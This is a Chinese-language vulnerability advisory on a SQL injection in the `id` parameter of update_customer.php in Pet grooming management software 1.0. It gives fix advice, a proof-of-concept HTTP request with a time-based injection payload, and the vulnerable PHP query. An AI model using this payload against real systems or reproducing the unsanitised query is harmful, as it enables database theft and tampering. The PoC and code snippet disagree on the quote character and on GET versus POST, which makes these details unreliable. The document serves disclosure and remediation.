# 宠物美容管理软件 SQL 注入漏洞总结 ## 漏洞概述 * **漏洞类型**:SQL 注入 (SQL Injection) * **受影响文件**:`update_customer.php` * **受影响参数**:`id` * **漏洞成因**:应用程序未对用户提交的 `id` 参数进行有效性验证,也未对特殊字符进行过滤,导致用户输入直接拼接到 SQL 语句中执行。 ## 影响范围 * **软件名称**:Pet grooming management software * **软件版本**:1.0 * **漏洞等级**:高危(可导致数据库数据泄露或篡改) ## 修复方案 * 对 `update_customer.php` 中的 `id` 参数进行严格的类型检查(如强制转换为整数)。 * 使用预处理语句(Prepared Statements)或参数化查询来构建 SQL 语句,避免直接拼接用户输入。 * 对输入数据进行过滤,拒绝包含特殊字符的非法输入。 ## 利用代码 (POC) **HTTP 请求包:** ```http POST /petgrooming_erp/petgrooming_erp/pet_grooming/admin/update_customer.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 22 Cache-Control: max-age=0 sec-ch-ua: "NOT_A Brand";v="8", "Chromium";v="101" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: http://127.0.0.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://127.0.0.1/petgrooming_erp/petgrooming_erp/pet_grooming/admin/tax.php Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSIDn4k4uplqn131nak8h2bzujob18 Connection: close id=-1" or sleep(0.5)# ``` **漏洞代码片段:** ```php $id = $_GET['id']; $sql = "SELECT * FROM tbl_customer where cust_id='$id'"; $result = mysqli_query($conn, $sql); ```